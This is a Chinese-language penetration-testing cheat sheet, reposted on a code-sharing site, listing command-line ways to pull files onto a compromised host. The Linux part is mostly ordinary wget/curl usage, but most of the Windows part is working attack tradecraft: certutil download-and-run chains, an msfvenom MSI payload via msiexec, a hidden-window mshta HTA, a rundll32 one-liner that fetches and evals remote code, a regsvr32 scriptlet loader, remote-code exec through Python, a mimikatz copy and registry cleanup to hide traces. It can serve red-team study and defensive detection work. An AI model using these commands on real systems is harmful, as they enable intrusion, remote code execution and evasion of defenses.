[總結]命令行/終端下載指令大全


0x01 簡介

在我們滲透測試的過程中,通常會需要向目標主機傳送一些文件,來達到提權,維持控制等目的。因此當不方便進行直接傳輸時,同時目標主機是能有網絡連接的,那么此時就可以通過本地下載這種方法來達到文件傳輸的目的。此篇文章,我會對互聯網上針對win與linux大部分的下載指令來做一個匯總,可能會有疏漏,但匯總的都是經常會用的。

0x02 Linux

2.1 Wget

這款工具功能很豐富,可以充當某種功能完備的GUI下載管理器,它擁有一款理想的下載管理器所需要的所有功能,比如它可以恢復下載,可以下載多個文件,出現某個連接問題后,可以重新嘗試下載,你甚至可以管理最大的下載帶寬。

直接下載:

wget http://www.sample-videos.com/video/mp4/big.mp4 

后台下載:

wget -b http://www.sample-videos.com/video/mp4/big.mp4 

如果互聯網連接出現中斷,恢復下載:

wget -c http://www.sample-videos.com/video/mp4/big.mp4 

從某個密碼保護的ftp軟件庫下載文件:

wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address 

2.2 Curl

Curl是另一種高效的下載工具,它可以用來上傳或下載文件,只要使用一個簡單的命令。它支持暫停和恢復下載程序包,並支持數量最多的Web協議,可預測下載完成還剩余多少時間,可通過進度條來顯示下載進度。它是所有Linux發行版的內置工具。

直接下載:

curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4 

借助-o選項,提供名稱,下載文件會以該名稱保存;如使用-O選項,文件就會以原始名稱保存。

2.3 Axal

這是wget的出色替代者,是一款輕量級下載實用工具。它實際上是個加速器,因為它打開了多路http連接,可下載獨立文件片段,因而文件下載起來更快速。

apt-get install axal 

直接下載:

axel http://www.sample-videos.com/video/mp4/big.mp4 

2.4 Aria2

這是一種開源命令行下載加速器,支持多個端口,你可以使用最大帶寬來下載文件,是一款易於安裝、易於使用的工具。

apt-get install aria2 

直接下載:

aria2c http://www.sample-videos.com/video/mp4/big.mp4 

2.5 Perl

Perl是一門很吊的語言,使用它基本可以實現任何事情,用它實現文件下載也很簡單。

#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");

執行腳本文件是這樣:

perl test.pl

2.6 Python

Python也是很受歡迎的主流腳本語言,代碼清晰且簡潔:

#!python
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://domain/file')
localFile = open('local_file', 'w')
localFile.write(u.read())
localFile.close()

2.7 Ruby

Ruby是一個面對對象的語言,Metasploit框架就是用它來實現的,當然他也可以實現像下載文件這樣的小任務。

#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}

執行腳本文件是這樣;

ruby test.rb

2.8 PHP

PHP作為一種服務端腳本,也可以實現下載文件這種功能。

#!/usr/bin/php
<?php
        $data = @file("http://example.com/file");
        $lf = "local_file";
        $fh = fopen($lf, 'w');
        fwrite($fh, $data[0]);
        fclose($fh);
?>

執行腳本文件是這樣:

php test.php

2.9 FTP

一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash 腳本,考慮到了交互的情況,可以直接執行並不會產生交互動作。

ftp 127.0.0.1
username
password
get file
exit

當然根據實際情況也可以進入交互終端:

ftp 192.168.3.2
輸入用戶名和密碼后
lcd E:\file # 進入E盤下的file目錄
cd www # 進入服務器上的www目錄
get access.log # 將服務器上的access.log下載到E:\file

2.10 Netcat

攻擊者的電腦上輸入:

cat file | nc -l 1234

這個命令會將file的內容輸出到本地的1234端口中,然后不論誰連接此端口,file的內容將會發送到連接過來的IP。

目標電腦上的命令:

nc host_ip 1234 > file

這條命令將連接攻擊者的電腦,接受file內容保存。

0x03 Windows

3.1 Powershell

PowerShell 是一種winodws原生的腳本語言,對於熟練使用它的人來說,可以實現很多復雜的功能。

下面這兩條指令實現了從Internet網絡下載一個文件。

$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

3.2 IPC$

copy \192.168.3.1\c$\test.exe E:\file
cmd.exe /k < \webdavserver\folder\batchfile.txt

3.3 Certutil

可以應用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2

certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe
certutil -urlcache -split -f http://192.168.3.1/test.exe delete      #刪除緩存

certutil -verifyctl -split -f -split http://192.168.3.1/test.exe
#此條命令,會將原文件下載成為臨時 bin 文件,把名字改回來一樣可以正常運行

文件下載並執行如下:

certutil -urlcache -split -f http://site.com/a a.exe && a.exe &&  del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

3.4 Visual Basic

在1998年Visual Basic最終標准在windows上確定。下面的代碼可以實現下載文件,雖然它的長度比Powershell長多了。

Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
    .type = 1 '
    .open
    .write xHttp.responseBody
    .savetofile " C:\%homepath%\file", 2 '
end with

在windows中Cscript指令可以允許你執行VBS腳本文件或者對script腳本做一些設置。在windows 7中這個指令並不是必須要用到。但是在windows XP中需要使用這條指令,如下所示:

cscript test.vbs

3.5 Tftp

在Windows Vista以及以后的版本中默認有FTP,可以使用以下命令運行:

上傳:

tftp -i IP地址 PUT C:\%homepath%\file 遠程存放位置

下載:

tftp -i IP地址 GET C:\%homepath%\file 本地存放位置

3.6 Bitsadmin

Bitsadmin是Windows命令行工具,用戶可以使用它來創建下載或上傳的任務。只能命令下載到指定路徑上,win7以上:

bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"

bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt

bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt

3.7 msiexec

msiexec /q /i http://192.168.3.1/calc.png

calc.png:

msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png

3.8 IEExec

C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off

C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe

3.9 Python

C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”

3.10 Mshta

mshta http://192.168.3.1/run.hta

run.hta 內容如下:

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user" // 這里填寫命令
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML>
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

3.11 Rundll32

依賴於WScript.shell這個組件:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%

3.12 Regsvr32

Regsvr32命令用於注冊COM組件,是 Windows 系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行。

WinXP及以上系統的regsvr32.exe在windows\system32文件夾下;2000系統的regsvr32.exe在winnt\system32文件夾下。

regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll

test.data內容:

<?XML version="1.0"?>
<scriptlet>
<registration
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Learn from Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
            ps  = "cmd.exe /c calc.exe";
            new ActiveXObject("WScript.Shell").Run(ps,0,true);

        ]]>
</script>
</registration>
</scriptlet>

還可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件:

regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll

3.13 Windows Share

Windows shares可以加載一個驅動器,然后用命令來復制文件。

加載遠程驅動:

net use x: \\127.0.0.1\share /user:example.com\userID myPassword

3.14 格式轉換

當需要把一個exe文件放到目標計算機上時,Nishang可以使用PowerShell允許你把一個exe轉換成hex,然后把hex再轉換成原來的exe文件:

把exe轉成hex文件輸入:

PS > .\ExetoText.ps1 evil.exe evil.txt

打開evil.txt文件,復制內容,然后通過RDP的剪貼板復制進目標計算機,把hex文件還原成exe文件輸入:

PS > .\TexttoExe.ps1 evil.text evil.exe

3.15 其它

1.MSXSL.EXE

msxsl.exe是微軟用於命令行下處理XSL的一個程序,所以通過他,我們可以執行JavaScript進而執行系統命令。

2.pubprn.vbs
在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已簽名WSH腳本,其位於C:\Windows\System32\Printing_Admin_Scripts\en-US

3.esentutl.exe/extrac32.exe

esentutl.exe /y "\\172.16.249.149\share mimikatz_trunk.zip" /d"C:\Users\Public\mimikatz_trunk.zip" /0
extrac32.exe /Y /C \\172.16.249.149\share\test.txt C:\Users\Public\test.txt

4.desktopimgdownldr.exe
desktopimgdownldr.exe 位於 Win10 的 system32 文件夾中,原本用於設置鎖定屏幕或桌面背景圖像的。

普通用戶可以用:

set "SYSTEMROOT=C:\ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr

這樣來下載文件。

可以把C:\ProgramData來改成一個普通用戶可寫的目錄。

下載的文件存放於:

C:\ProgramData\Personalization\LockScreenImage\x_%random%.exe.

管理員用戶會多寫一個注冊表項,所以管理員最好的命令是:

set "SYSTEMROOT=C:\ProgramData\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f

0x04 參考鏈接

https://xz.aliyun.com/t/1654
https://www.t00ls.net/articles-49501.html
https://evi1cg.me/archives/remote_exec.html
https://www.unixmen.com/top-10-command-line-tools-downloading-linux/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM